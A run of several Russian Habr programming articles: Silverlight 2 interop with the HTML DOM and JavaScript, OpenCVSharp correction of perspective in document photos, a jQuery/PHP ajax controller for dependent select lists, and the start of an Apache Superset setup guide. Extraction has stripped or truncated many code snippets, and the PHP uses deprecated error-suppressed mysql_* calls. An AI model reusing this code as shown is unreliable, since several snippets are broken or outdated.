В последнее время технология Microsoft Silverlight у всех на слуху. На форумах и в блогах живо обсуждаются различные возможности второй версии (Silverlight 2), вышедшей 14 октября 2008 года. Многие уже начали писать Silverlight приложения, а кто-то собирается начать разработку решений с использованием технологии Silverlight в самое ближайшее время. Спектр возможного применения данной технологии огромен. Тут и интернет телевещание, развлекательные и образовательные порталы. На мой взгляд, в скором будущем будут появляться и активно развиваться полноценные корпоративные (Line of Business, Enterprise, CRM и ERP) Silverlight приложения. Причём подавляющему большинству .NET разработчиков, с которыми я общался, технология Silverlight нравится. И это внушает определённый оптимизм! Как говорится, попробуйте и Вы.
Если Вы ещё не знакомы с технологией Silverlight, я рекомендую Вам сначала прочитать водные статьи и посмотреть скринкасты, которые Вы можете найти на сайтах <http://www.silverlighter.ru> и <http://techdays.ru/>. А потом переходить к чтению данной статьи.
Ну, что, дорогие читатели, не подумали ли вы к этому месту о том, что ХВАТИТ уже этого МАРКЕТИНГА! Да, действительно, для нас, для, разработчиков главное программы, а не маркетинговые заявления. Обещаю, на этом месте весь маркетинг заканчивается и начинается то, что мы с Вами, любим, а именно КОД.
Итак, вот какие темы я бы хотел осветить в первой части статьи:
* [Чтение параметров инициализации](#init)
* [Доступ к HTML DOM (Document Object Model)](#html)
* [Вызов JavaScript функций из Silverlight](#js)
* [Вызов Silverlight функций из JavaScript](#sl)
### Создание проекта Silverlight приложения
Давайте создадим новое Silverlight приложение в Visual Studio 2008 SP1 c установленными Silverlight Tools for Visual Studio. Для этого выберем File->New->Project->Silverlight->Silverlight Application. Назовём приложение MySilverlightApplication и нажмём кнопку OK. В диалоге Add Silverlight Application оставим значения по умолчанию. Нажмём кнопку OK и увидим в Visual Studio два новых проекта. Собственно Silverlight приложение и ASP.NET приложение для хостинга Silverlight приложения. Ну, это Вы, наверное, уже и так знаете.
### Чтение параметров инициализации
Сейчас мы сделаем следующее. Мы зададим на страницах MySilverlightApplicationTestPage.html и MySilverlightApplicationTestPage.aspx параметры инициализации для Silverlight плагина. Прочитав параметры инициализации Silverlight приложение выберет, какую XAML страницу сделать стартовой и соответственно показывать пользователю при загрузке: создаваемую по умолчанию Page.xaml или созданную нами NextPage.xaml.
Для этого добавим в Silverlight приложение новую страницу. Правым кликом по названию проекта, выберем Add->New Item-> Silverlight User Control. Назовём элемент управления NextPage.xaml. И нажмём кнопку OK.
Далее изменим цвет фона страницы NextPage на красный, для того, чтобы во время выполнения определить загруженную страницу, ведь фон страницы Page.xaml останется белым. Установим свойство Background элемента Grid (с именем LayoutRoot) в значение «Red».
Теперь откроем в ASP.NET проекте страницу MySilverlightApplicationTestPage.html и посмотрим на код внедрения Silverlight приложения:
> `<object data="data:application/x-silverlight-2,"
>
> type="application/x-silverlight-2"
>
> width="100%" height="100%">
>
> <param name="source" value="ClientBin/MySilverlightApplication.xap"/>
>
> <param name="onerror" value="onSilverlightError" />
>
> <param name="background" value="white" />
>
> <param name="minRuntimeVersion" value="2.0.31005.0" />
>
> <param name="autoUpgrade" value="true" />
>
> <a href="http://go.microsoft.com/fwlink/?LinkID=124807"
>
> style="text-decoration: none;">
>
> <img src="http://go.microsoft.com/fwlink/?LinkId=108181"
>
> alt="Get Microsoft Silverlight" style="border-style: none"/>
>
> a>
>
> object>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Давайте добавим внутрь тэга object следующий тэг:
> `<param name="initParams" value="startPage=Page"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Этот код задаёт параметр инициализации с именем «startPage», значение которого равно «Page». В данном случае параметр один, но мы можем написать через запятую несколько параметров.
Теперь откроем ASP.NET страницу MySilverlightApplicationTestPage.aspx. Код внедрения в неё Silverlight приложения отличается и выгладит следующим образом:
> `<asp:Silverlight ID="Xaml1" runat="server"
>
> Source="~/ClientBin/MySilverlightApplication.xap"
>
> MinimumVersion="2.0.31005.0" Width="100%" Height="100%" />
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Изменим его на данный код:
> `<asp:Silverlight ID="Xaml1" runat="server"
>
> Source="~/ClientBin/MySilverlightApplication.xap"
>
> MinimumVersion="2.0.31005.0" Width="100%" Height="100%"
>
> InitParameters="startPage=Page"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Сделанные изменения налицо. Свойство InitParameters добавлено.
Мы использовали два эквивалентных с точки зрения Silverlight приложения способа задания параметров инициализации: для тега object и для серверного элемента управления asp:Silverlight.
Теперь нам надо получить в самом Silverlight приложении параметры инициализации. Для этого откроем C# код страницы App.xaml и заменим код функции Application\_Startup на следующий:
> `private void Application\_Startup(object sender, StartupEventArgs e)
>
> {
>
> string startPage = e.InitParams["startPage"];
>
> if (startPage != null && startPage.Equals("Page"))
>
> {
>
> this.RootVisual = new Page();
>
> }
>
> else
>
> {
>
> this.RootVisual = new NextPage();
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Свойство StartupEventArgs.InitParams имеет тип IDictionary. И мы можем получить все заданные параметры инициализации из данного словаря. В нашем случае, если заданный нами параметр startPage равняется «Page» главным визуальным элементом приложения становится элемент управления, описанный в файле Page.xaml. При любом другом значении главным визуальным элементом управления приложения будет страница NextPage.xaml.
Давайте запустим программу и посмотрим на результат. Поменяйте значение параметра «startPage» и посмотрите что получится. Не забудьте, потом вернуть значение параметра обратно. Так как мы будем использовать данное Silverlight приложение и для дальнейших примеров.
### Доступ к HTML DOM (Document Object Model)
В первом примере изменения проводились на двух (HTML и ASP.NET) страницах. Далее в статье для отладки Silverlight приложений будет использоваться только страница – MySilverlightApplicationTestPage.aspx и все изменения будут проводиться соответственно только на ней.
Для доступа к HTML документу страницы, на которой размещено Silverlight приложение используется объект HtmlPage.Document типа HtmlDocument. Также не забудьте подключить пространство имён System.Windows.Browser. Для этого в секцию usings C# файла Page.xaml.cs добавим:
> `using System.Windows.Browser
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Давайте теперь добавим на страницу Page.xaml кнопку, которая будет иметь имя «mainButton», и зададим событие нажатия на кнопку. Вот исходный код страницы:
> `<UserControl x:Class="MySilverlightApplication.Page"
>
> xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
>
> xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
> Width="400" Height="300">
>
> <Grid x:Name="LayoutRoot" Background="White">
>
> <Button Click="Button\_Click" Content="Изменить цвет"
>
> Width="250" Height="50" x:Name="mainButton"/>
>
> Grid>
>
> UserControl>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Откроем страницу MySilverlightApplicationTestPage.aspx в ASP.NET приложении и посмотри на код внедрения Silverlight плагина.
> `<div style="height:100%;">
>
> <asp:Silverlight ID="Xaml1" runat="server"
>
> Source="~/ClientBin/MySilverlightApplication.xap"
>
> MinimumVersion="2.0.31005.0" Width="100%" Height="100%"
>
> InitParameters="startPage=Page"/>
>
> div>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Тег asp:Silverlight находится внутри тега тега div. Зададим для div имя «myDIV» и изменим стиль.
> `<div id="myDIV" style="background:blue;width:100%;height:100%">
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также установим для Silverlight плагина ширину, Width=«50%», а не 100%.
> `<asp:Silverlight ID="Xaml1" runat="server"
>
> Source="~/ClientBin/MySilverlightApplication.xap"
>
> MinimumVersion="2.0.31005.0" Width="50%" Height="100%"
>
> InitParameters="startPage=Page"/>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь напишем код обработчика нажатия на кнопку:
> `private void Button\_Click(object sender, RoutedEventArgs e)
>
> {
>
> HtmlDocument doc = HtmlPage.Document;
>
> HtmlElement div = doc.GetElementById("myDIV");
>
> div.SetStyleAttribute("background", "green");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Данным кодом мы получаем HTML документ, находим элемент внутри HTML документа и задаём стиль для этого элемента. Таким образом, внутри Silverlight приложения мы имеем богатые возможности по изменению внешнего вида и содержимого HTML страницы.
Более того, мы можем обрабатывать события HTML страницы в нашем C# коде. Для этого в обработчик нажатия на кнопку, Button\_Click добавим код:
> `div.AttachEvent("onclick", new EventHandler((o, x) =>
>
> {
>
> div.SetStyleAttribute("background", "yellow");
>
> }));
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Мы присоединяемся к событию клика по свободному пространству элемента div. При таком клике цвет фона меняется на жёлтый. Здесь для обработчика события используется лямбда выражение. Вот полный код обработчика нажатия кнопки:
> `private void Button\_Click(object sender, RoutedEventArgs e)
>
> {
>
> HtmlDocument doc = HtmlPage.Document;
>
> HtmlElement div = doc.GetElementById("myDIV");
>
> div.AttachEvent("onclick", new EventHandler((o, x) =>
>
> {
>
> div.SetStyleAttribute("background", "yellow");
>
> }));
>
> div.SetStyleAttribute("background", "green");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так как это тестовый пример, то при каждом нажатии на кнопку происходит подписывание на событие. В реальных приложениях так делать нельзя и надо выносить данный код в раздел инициализации. Например, так:
> `public Page()
>
> {
>
> InitializeComponent();
>
> HtmlDocument doc = HtmlPage.Document;
>
> HtmlElement div = doc.GetElementById("myDIV");
>
> div.AttachEvent("onclick", new EventHandler((o, x) =>
>
> {
>
> div.SetStyleAttribute("background", "yellow");
>
> }));
>
> }
>
>
>
> private void Button\_Click(object sender, RoutedEventArgs e)
>
> {
>
> HtmlDocument doc = HtmlPage.Document;
>
> HtmlElement div = doc.GetElementById("myDIV");
>
> div.SetStyleAttribute("background", "green");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь мы в конструкторе страницы подписываемся на нужное нам событие.
Запустим данное приложение. Нажмём на кнопку. Синее пространство станет зелёным. Теперь нажмём на зелёное пространство, и оно станет жёлтым.
Хочется отметить, что можно запретить доступ к HTML странице из Silverlight приложения. Для этого надо установить свойство HtmlAccess=«Disabled» у серверного элемента управления asp:Silverlight. Разрешён ли доступ к HTML странице и скриптам можно проверить из Silverlight приложения благодаря свойству HtmlPage.IsEnabled.
### Вызов JavaScript функций из Silverlight
Теперь давайте поговорим про интеграцию с JavaScript. Для того, чтобы вызвать JavaScript функцию из Silverlight достаточно написать следующий код:
> `HtmlPage.Window.Invoke("DisplayMessage","Привет из Silverlight!");
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь мы вызываем JavaScript функцию DisplayMessage и передаём её в качестве параметра строку. Добавим этот код в обработчик события нажатия кнопки.
Теперь создадим данную JavaScript функцию на ASP.NET странице. Раздел head страницы будет выглядить так:
> `<head runat="server">
>
> <title>MySilverlightApplicationtitle>
>
> <script type="text/javascript">
>
> function DisplayMessage(message) {
>
> alert(message);
>
> }
>
> script>
>
> head>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После этого при нажатии на кнопку выполняется JavaScript функция. Которая отображает сообщение с заданным текстом. Текст сообщения передаётся в параметре. Запустим приложение и проверим его работу.
### Вызов Silverlight функций из JavaScript
Теперь пришло время вызывать из JavaScript функции в нашем Silverlight приложении. Для этого установим аттрибут ScriptableType у типа Page в файле Page.xaml.cs.
> `[ScriptableType]
>
> public partial class Page : UserControl
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это позволит нам обращаться к специально отмеченным функциям данного обекта из JavaScript. Но сначала нам надо зарегистрировать объект класса Page как доступный для вызова. Для этого в конструктор Page() добавим следующий код:
> `HtmlPage.RegisterScriptableObject("silverlightApplication", this);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь мы задали имя («silverlightApplication») по которому мы сможем из JavaScript обращаться к .NET объекту.
Теперь внутри класса Page нам надо создать функцию, которую мы и будем вызывать из JavaScript. Вот код этой функции. Она имеет аттрибут ScriptableMember, что говорит о возможности её вызова из скриптов.
> `[ScriptableMember]
>
> public void ChangeButtonContent(string text)
>
> {
>
> mainButton.Content = text;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Данная функция устанавливает текст у кнопки на Silverlight странице.
Далее представлен полный код класса Page:
> `[ScriptableType]
>
> public partial class Page : UserControl
>
> {
>
> public Page()
>
> {
>
> InitializeComponent();
>
> HtmlPage.RegisterScriptableObject("silverlightApplication", this);
>
> HtmlDocument doc = HtmlPage.Document;
>
> HtmlElement div = doc.GetElementById("myDIV");
>
> div.AttachEvent("onclick", new EventHandler((o, x) =>
>
> {
>
> div.SetStyleAttribute("background", "yellow");
>
> }));
>
> }
>
>
>
> private void Button\_Click(object sender, RoutedEventArgs e)
>
> {
>
> HtmlDocument doc = HtmlPage.Document;
>
> HtmlElement div = doc.GetElementById("myDIV");
>
> div.SetStyleAttribute("background", "green");
>
> HtmlPage.Window.Invoke("DisplayMessage", "Привет из Silverlight!");
>
> }
>
>
>
> [ScriptableMember]
>
> public void ChangeButtonContent(string text)
>
> {
>
> mainButton.Content = text;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И файла Page.xaml:
> `<UserControl x:Class="MySilverlightApplication.Page"
>
> xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
>
> xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
> Width="400" Height="300">
>
> <Grid x:Name="LayoutRoot" Background="White">
>
> <Button Click="Button\_Click"
>
> Content="Изменить цвет"
>
> Width="250" Height="50" x:Name="mainButton"/>
>
> Grid>
>
> UserControl>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь изменим JavaScript функцию DisplayMessage так, чтобы она вызывала C# функцию ChangeButtonContent.
> `function DisplayMessage(message) {
>
> alert(message);
>
> silverLightControl = document.getElementById("Xaml1");
>
> silverLightControl.content.silverlightApplication.ChangeButtonContent(
>
> message);
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Мы получаем объект Silverlight плагина и вызываем функцию ChangeButtonContent, передавая ей тот же самый параметр, что мы передавали из C# кода в функцию DisplayMessage.
Полный код страницы MySilverlightApplicationTestPage.aspx находится ниже:
> `<%@ Page Language="C#" AutoEventWireup="true" %>
>
>
>
> <%@ Register Assembly="System.Web.Silverlight"
>
> Namespace="System.Web.UI.SilverlightControls"
>
> TagPrefix="asp" %>
>
>
>
> DOCTYPE html
>
> PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
>
> "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
>
>
>
> <html xmlns="http://www.w3.org/1999/xhtml" style="height:100%;">
>
> <head runat="server">
>
> <title>MySilverlightApplicationtitle>
>
> <script type="text/javascript">
>
> function DisplayMessage(message) {
>
> alert(message);
>
> silverLightControl = document.getElementById("Xaml1");
>
> silverLightControl.content.silverlightApplication.ChangeButtonContent(
>
> message);
>
> }
>
> script>
>
> head>
>
> <body style="height:100%;margin:0;">
>
> <form id="form1" runat="server" style="height:100%;">
>
> <asp:ScriptManager ID="ScriptManager1" runat="server">asp:ScriptManager>
>
> <div id="myDIV" style="background:blue;width:100%;height:100%">
>
> <asp:Silverlight ID="Xaml1" runat="server"
>
> Source="~/ClientBin/MySilverlightApplication.xap"
>
> MinimumVersion="2.0.31005.0" Width="50%" Height="100%"
>
> InitParameters="startPage=Page"/>
>
> div>
>
> form>
>
> body>
>
> html>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Запустите приложение и проверьте его работоспособность.
При нажатии на кнопку в Silverlight приложении меняется цвет фона у элемента div на HTML странице, а также происходит вызов JavaScript функции DisplayMessage, которая отображает сообщение. Данная JavaScript функция вызывает C# функцию ChangeButtonContent в классе Page. Функция ChangeButtonContent меняет текст на кнопке.
На этом первая часть статьи завершается. В следующих частях будут освещены другие актуальные вопросы разработки Silverlight приложений. Буду рад Вашим пожеланиям и комментариям. | https://habr.com/ru/post/46501/ | null | ru | null |
# Документ в перспективе, что с ним делать? Корректировка результатов бесконтактного сканирования и фотографий документов
Идея данной статьи возникла у нас после прочтения статьи [«Как работает автоматическое выделение документа на изображении в программе ABBYY FineScanner?»](http://habrahabr.ru/company/abbyy/blog/200448/), опубликованной на Хабре компанией ABBYY, в которой подробно описан алгоритм определения границ документа на образе, полученном камерой мобильного телефона.
Статья, безусловно, интересная и полезная. Мы, «с чувством глубокого удовлетворения» отметили, что ABBYY использует в работе те же математические алгоритмы, что и мы, и благоразумно опускает некоторые детали, без которых точность определения границ документа существенно снижается.
Думаю, что по прочтении статьи у некоторой части читателей возник резонный вопрос: «А что делать с обнаруженным на снимке документом дальше?» Отвечу словами Чеширского Кота Алисе: «А куда ты хочешь прийти?» Если конечная цель – «вытащить» из снимка текстовые данные, тогда нужно максимально облегчить задачу системе распознавания. Для этого в первую очередь нужно исправить перспективные искажения, бич всех фотоснимков документов «от руки». Если не решить эту проблему, попытка распознать данные может дать результат, сравнимый с попытками распознавания капчи. На фрилансерских сайтах с завидной регулярностью появляются «верующие» в победу машинного интеллекта над капчой за мелкий прайс. Блажен, кто верует, но мы сейчас не об этом.
Итак, в данной статье мы попытаемся подхватить эстафету у ABBYY и рассказать на своем опыте, как можно с минимальными затратами привести призмообразный, в лучшем случае, документ, который мы идентифицировали на снимке (спасибо ABBYY за науку), к прямоугольной форме, желательно с сохранением исходных пропорций. Экзотические случаи, вроде пятиугольных или овальных документов мы пока не рассматриваем, хотя, вопрос интересный.
Проблема искажения перспективных искажений возникла перед ALANIS Software не совсем с той стороны, откуда можно было ожидать. Я имею в виду, тот факт, что мы не специализируемся на мобильной разработке. Однако, наш заказчик, для которого мы разрабатываем систему сканирования и обработки образов для планетарных сканеров на базе цифрозеркальных камер Canon EOS (привет, фотографы!) в определенный момент захотел иметь такой функционал в арсенале. Причем, речь шла не об обработке готового снимка камеры, а о корректировке видеопотока, на этапе предпросмотра LiveView. Впрочем, разработанное нами решение одинаково хорошо работает и в режиме коррекции уже сделанного снимка документа.
**Дано:**
1. снимок прямоугольного документа фотокамерой с искажениями
2. контуры документа на снимке
**Задача:**
привести документ к исходной форме кратчайшим путем
**Challenge (русский эквивалент как-то не приходит в голову):**
1. пропорции исходного документа нам точно не известны
2. расстояние до плоскости, на которой лежит документ нам не известно
3. референсных объектов, на которые можно ориентироваться (например, правильный квадрат, попавший в объектив) на снимке нет
**Решение:**
Итак, чтобы решить задачу в целом, предлагаем разбить её на две отдельные:
1. Нахождение, собственно, искаженного контура документа на отсканированном изображении (пожалуй, осветим ещё раз этот вопрос для тех, кто не читал статью ABBYY).
2. Определение правильных пропорций документа, в которые исходный искаженный контур должен быть отображен для того, чтобы получить выровненный документ.
Можно, конечно, было попытаться изобрести велосипед, и некоторым это до сих пор удается, но мы пошли более легким путем и использовали инструментарий OpenCV. Работаем мы по большей части в среде .NET, через [C# Wrapper OpenCVSharp](https://github.com/shimat/opencvsharp). Также OpenCVSharp доступен в виде Nuget-пакета в среде Visual Studio. «Вот это всё» (с) и будем использовать.
Рассмотрим основные интересные моменты в решении задачи по исправлению перспективного изображения на следующем изображении:
1. Для того чтобы найти контур на представленном изображении, необходимо избавиться от мелких деталей, которые могут мешать. Это можно сделать применив «заклинание размытия» по Гауссу малой мощности, предварительно сконвертировав изображение в оттенки серого:
`imgSource.CvtColor(imgGrayscale, ColorConversion.BgrToGray);
imgSource.Smooth(imgSource, SmoothType.Gaussian, 15);`
Вот, что получилось в результате применения вышеописанной цепочки (если я сниму очки, будет примерно такой же эффект. Отсюда мораль: «Близорукость не недуг, а интеллектуальная обработка изображения, имеющая целью отсеять всё лишнее и сделать мир более прекрасным!»):
2. Далее необходимо сделать изображение черно-белым:
`imgSource.Threshold(imgSource, 0, 255, ThresholdType.Binary | ThresholdType.Otsu);`
3. На полученном изображении легко найти контур документа. Будем искать максимальный внешний контур. В OpenCVSharp есть замечательный класс CvContourScanner, который может перечислять все найденные контуры изображения. С использованием Linq можно эти контуры отсортировать по площади и взять первый, который и будет самым максимальным.
`using (var storage = new CvMemStorage())
using (var scanner = new CvContourScanner(image, _storage, CvContour.SizeOf, ContourRetrieval.External, ContourChain.ApproxSimple))
{
var largestContour = scanner.OrderBy(contour => Math.Abs(contour.ContourArea())).FirstOrDefault();
}`
Если нарисовать найденный контур, то получается следующее изображение:
4. Ура! Нашли контур! Однако, он мало что может показать – необходимо знать точно координаты всех угловых точек – точек пересечения сторон документа. Очевидно, что для нахождения координат этих точек желательно описать стороны найденного контура уравнениями прямой линии. Как же нам в этом может помочь OpenCV? Очень просто! В нем есть инструмент, использующий [преобразование Хафа](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%A5%D0%B0%D1%84%D0%B0). «Кастуем» этот метод на изображение, полученное на предыдущем шаге:
``var lineSegments = imgSource.HoughLines2(storage, HoughLinesMethod.Probabilistic, 1, Math.PI / 180.0, 70, 100, 1).ToArray();
Только не думайте, что эта волшебная строчка вернет Вам 4 линии, которые Вы бы ожидали получить, нет! Их будет 100, а может быть 200, а может вообще не быть. Дело в том, что данный метод ищет все участки, которые были приняты за линии, и удовлетворяющие входным параметрам (за разъяснениями приведенных параметров обращайтесь в «гримуар» по OpenCV). Тем не менее, с этими данными уже можно что-то делать, например, разложить их по кучкам: вертикальные отдельно, горизонтальные отдельно:
var verticalSegments = segments
.Where(s => Math.Abs(s.P1.X - s.P2.X) < Math.Abs(s.P1.Y - s.P2.Y))
.ToArray();
var horizontalSegments = segments
.Where(s => Math.Abs(s.P1.X - s.P2.X) >= Math.Abs(s.P1.Y - s.P2.Y))
.ToArray();`
Отрезки линий, которые «динамичнее» изменяются по вертикали – это вертикальные; по горизонтали – горизонтальные. Стало намного проще, можно даже нарисовать, что получилось:
Далее, попробуем найти точки пересечения всех вертикальных и горизонтальных линий. Смотрим, что получается:
`var corners = horizontalSegments
.SelectMany(sh => verticalSegments
.Select(sv => sv.LineIntersection(sh))
.Where(v => v != null)
.Select(v => v.Value))
// exclude points which is out of image area
.Where(c => new CvRect(0, 0, imgSource.Width, imgSource.Height).Contains(c))
.ToArray();`
Осталось теперь отсортировать все найденные точки по часовой стрелке относительно центра масс этих точек:
– среднее арифметическое по каждой из координат). После этого из отсортированного массива создаем контур и аппроксимируем его средствами OpenCVSharp:
`contour = contour.ApproxPoly(CvContour.SizeOf, storage, ApproxPolyMethod.DP, contour.ArcLength() * 0.02, true);`
И, вуаля! Мы, наконец-то получили искомые точки искаженного контура:
5. Вот, теперь самое вкусное. Единственное, что осталось сделать – это вычислить угловые точки выровненного контура с тем, чтобы потом отобразить в них искаженные точки. Если быть точным, необходимо найти пропорции документа, которые восприятие человеческого глаза могло посчитать верными. Основная проблема, которая встала перед нами – это отсутствие каких-либо начальных данных, по которым можно было бы вычислить правильные пропорции документа. Не было информации ни о том, под каким углом был отсканирован документ, ни о фокусном расстоянии.
Сразу оговорюсь, решение, описанное далее, не является универсальным для всех случаев перспективного искажения и не дает 100% точности восстановления исходных пропорций документа. Однако, для наших целей и с нашими вводными, это решение компактно, вполне жизнеспособно, не лишено элегантности, и дает неплохие результаты.
Итак, дисклэймер озвучен, к делу. Мы решили пойти простым путем: взять максимальные по длине горизонтальную и вертикальную стороны искаженного контура и использовать эти величины в качестве размеров выровненного контура. Однако этот метод давал приемлемые результаты лишь на небольших искажениях. Более серьезные искажения, такие как это, например:
приводили к получению подобных результатов:
Согласитесь, это не то, что хотелось увидеть на выходе. Квадратный документ нам не нужен!
Необходимо было придумать что-то более качественное. Опытным путем было замечено, что на искаженных документах наблюдается отклонение центра масс угловых точек контура от точки пересечения диагоналей контура (рисунок 10, желтое кольцо – центр масс, зеленый круг – точка пересечения диагоналей):
Нетрудно догадаться, что на «ровных» документах эти точки совпадают. Если же есть какое-то искажение, то обязательно будет наблюдаться отклонение и чем искажение больше, тем больше и отклонение. Вооружившись этим фактом и еще чуть-чуть поисследовав, мы пришли к простой формуле, точнее к двум:
где:
*deltaX, deltaY* – это отклонения центра масс от точки пересечения диагоналей, соответственно;
*targetWidth, targetHeight* – размеры результирующего контура;
*topWidth, bottomWidth, leftHeight, rightHeight* – размеры искаженного контура.
А вот результат применения этой формулы:
Для сравнения приведем пропорции исходного документа, отсканированного без искажений:
Вот это уже больше походит на правду. И заказчикам нравится, и нам очень приятно получать такие близкие результаты.
Безусловно, если «копать» дальше, то можно «отрыть» более качественный способ вычисления правильных пропорций, и я уверен, что сообщество Хабра обязательно предложит что-то или натолкнет на мысль…
Надеемся, что наш материал окажется кому-то полезным. В заключение, предлагаю ознакомиться с вещественным доказательством реальности описанного. Мы сняли видео ролик с помощью нашей программы сканирования, управляющей цифровой камерой Canon. В данном случае «магия» происходит «на лету» в режиме предпросмотра сканирования LiveView, а результат вычислений применяется уже в момент сканирования.
Мы планируем и дальше делиться некоторыми хитростями обработки изображений на Хабре, если эта тема окажется востребованной. На нашем канале в youtube уже есть пара роликов, иллюстрирующих наши разработки, мы планируем и дальше вести летопись нашего развития в видео формате и в формате статей. Спасибо за внимание!` | https://habr.com/ru/post/223507/ | null | ru | null |
# Заботливый контроллер событий на странице
 Наверняка вы сталкивались с такими задачами:
— Подгрузить ajax данные на страницу;
— По клику на объект получить ответ от сервера;
— Сделать вывод (не) зависимого списка на ajax.
Написанный контроллер решает эти задачи, он может:
— Подрузить любое количество указанных данных на страницу;
— Контролировать события для созданных объектов и подгружать новые;
— Отслеживать зависимость списков SELECT с любой вложенностью.
Размер этого монстра всего несколько строк.
С комментариями чуть больше строк:
```
$(document).ready(function() {
// Функция отправки запроса
function post_ajax(url, data, inn) {
$.ajax({
type: "POST",
url: url,
data: data,
success: function(data) {
$(inn).html(data);
}
});
return;
}
// Поиск #need_ajax если есть то для всех идет запрос функции отправки запроса с нужными данными
jQuery.each($("div#need_ajax"), function(i) {
post_ajax($(this).data("url"), $(this).data("post"), $(this).data("html"));
});
// Обработка клика по заданным ид, очистка не нужных ид, отправка запроса если нужно
// Ожидание события клик на классах '.city, .do_ajax
$('body').on('click', '.city, .do_ajax', function() {
// Если это селект и имеет значение то берем его, если не селект то ищем значение в $(this).data("inpost");
var my_select = $("option:selected", this).val() ? $("option:selected", this).val() : $(this).data("inpost");
// Нужно ли нам, что то очистить при этом ? Возможно много ид ? Получаем их отсюда $(this).data("clean") очищаем
if ($(this).data("clean")) {
var to_clean = $(this).data("clean").split(" ");
if (to_clean) $.each(to_clean, function(i) {
$("#" + this).empty();
});
}
// А нужно ли нам еще куда то запрос делать и есть ли данные ? Посмотрели тут $(this).data("next") отправили данные my_select по адресу $(this).data("url")
var to_next = $(this).data("next");
if (to_next && my_select != 0) post_ajax($(this).data("url"), $(this).data("post") + "=" + my_select, "#" + to_next);
});
});
```
**Как это работает**
Добавляем на страницу:
```
[Показать контактные данные →](javascript:void();)
```
Где у нас:
data-url='/?ajax\_contact' — адрес для запроса
data-post='ajax\_contacts' — имя переменной
data-inpost='".$o[id]."' — данные переменной
data-next='ob\_tel\_data' — куда вставить полученный ответ html
В итоге получаем кнопку, при клике на которую делается запрос и обновляется html в заданном data-next
**Как можно сделать зависимые select**
Для отрисовки селекта достаточно добавить:
```
```
Здесь — need\_ajax указывет на то, что нужно подгрузить данные с адреса data-url и запросом data-post и вставить в data-html='#html\_g1'
После этого полученные данные так же рекурсивно обрабатываются функцией и могут обновлять данные и очищать мусор.
В PHP сам обработчик выборки городов выглядит так:
```
# Массив с метками для обработки запросов
$assoc = array(
"g1" => array("clean" => "html_g2 html_g3", "next" => "html_g2", "url" => "/map.php?", "post" => "g2"),
"g2" => array("clean" => "html_g3", "next" => "html_g3", "url" => "/map.php?", "post" => "g3"),
"g3" => array("clean" => "", "next" => "", "url" => "/map.php?", "post" => "g4"),
"g4" => array("cookie" => "city[3]")
);
# Зачем это ? php.net/manual/ru/wrappers.php.php
# php://input - получение данных AJAX запроса
$_POST = @file_get_contents("php://input");
# Получаем данные запроса
if ($_POST) {
$a = explode("=", $_POST);
$r77 = @mysql_query("SELECT * from ajax_city where ".
( $a[0] == "g1" ? " main='1' " : " parentid='".number_format($a[1], 0, '', ''). "'")
." ORDER BY pos DESC , text ASC ");
if (@mysql_num_rows($r77) > 0) {
# Заполняем селекты
$select = '
Выбрать из списка ';
while ($o = @mysql\_fetch\_array($r77))
{
$select. = "".$o[text]."\n";
}
$select. = "";
}
echo $select;
exit;
```
Демо на — [кнопку](http://объявлений.сайт/ob/v10883) (Показать контактные данные →), на [селект](http://объявлений.сайт/ob/add?c1=70&c2=70.3) (Выбор города)
Зачем? Контроллер может обслужить любое количество кнопок и селектов на странице, обновлять, заполнять, очищать зависимые списки и кнопки.
Вот такой не большой, но полезный код.
Спасибо за внимание. | https://habr.com/ru/post/233469/ | null | ru | null |
# Поднимаем Apache Superset — необходимый и достаточный гайд
Эта статья вдохновлена опытом знакомства с инструментом Apache Superset: автору было очень интересно, что же представляет из себя один из главных представителей on-premise инструментов BI-визуализации (а также стояла соответствующая задача по работе, но это такие мелочи).
В процессе поиска информации возникло понимание, что полноценного руководства на русском по началу работы с данным инструментом нет. Пришлось заниматься вдумчивым поиском решений по наиболее быстрому и в то же время полноценному разавертыванию Superset. Одну из первых ссылок, которую, безусловно найдет любой интересующийся, можно указать сразу - статья на сайте официальной докуметации ["Installing Superset Locally Using Docker Compose"](https://superset.apache.org/docs/installation/installing-superset-using-docker-compose/). Безусловно, с ее помощью можно загрузить и настроить все необходимые системы в виде композиции docker-контейнеров. Однако я хочу предложить способ с более простой архитектурой, а также с намного различных тонкостей и с более подробным объяснением подключения к приложению своей локальной базы данных.
